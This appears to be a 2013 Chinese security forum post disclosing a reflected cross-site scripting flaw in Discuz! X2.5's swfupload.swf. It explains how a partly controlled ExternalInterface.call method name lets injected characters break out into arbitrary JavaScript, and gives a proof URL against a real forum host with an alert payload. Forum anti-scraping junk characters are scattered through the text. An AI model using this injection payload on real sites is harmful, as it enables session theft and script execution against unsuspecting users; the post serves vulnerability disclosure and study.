找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2026|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说9 G5 V8 U3 b$ _( ?. s! O4 Y2 Z; I8 G7 m
9 w* H- Z/ j) D, ^5 M( b
flash.external.ExternalInterface.call($methodName, $parameter)$ p, R4 t  ?; T/ z2 g
在浏览器中执行的是
: j. T9 G: y  n8 W8 x8 |0 e0 y& t2 ?: `) J3 y3 @
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
4 q3 f# F/ K/ R% R8 y+ e4 l5 x对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如% g4 x' W- ]# `# X2 R

; N4 y+ k5 Z7 w8 Q/ t- v, R, f! yflash.external.ExternalInterface.call("object."+$methodName, $parameter)
6 G- x7 Z5 ~; K" l' w$methodName = a())}catch(e){alert(/xss/)}//: G$ o3 u1 }! Q4 L" k) }  {
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。7 Y. f' V) W/ `
( F) I) g) {6 [' A1 a: o3 h# Y5 j" ~
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
- y4 Z! V% Q  x# G- U- |" G' \; J$ L) b, I
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
4 V1 Y: ]) v$ @4 Z7 M; X' {& h1 a7 |杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。/ ]6 k4 {3 y. L+ s; G  Q- J8 N1 a' o9 A, B
4 F- @3 Z) w# g. w" V, p

( q9 h/ O' b% u( ^7 d" l( a3 E% \4 A; W) Z- ~+ f; q
漏洞文件:upload\static\image\common\swfupload.swf
, C5 x. t: q* W( S5 X1 I9 X; z  A$ h3 A
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
( t+ }% g) L# E8 k1 _# R9 J1 R" T5 o; y" u! |

9 H7 A1 G" s! Z; l8 o漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}/// y3 r7 F% l0 y2 R+ A9 z/ C# p: L' |- W3 e

- O) j6 b, V# ^% o) h7 M# r2 D& `! t" `. {4 b0 v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表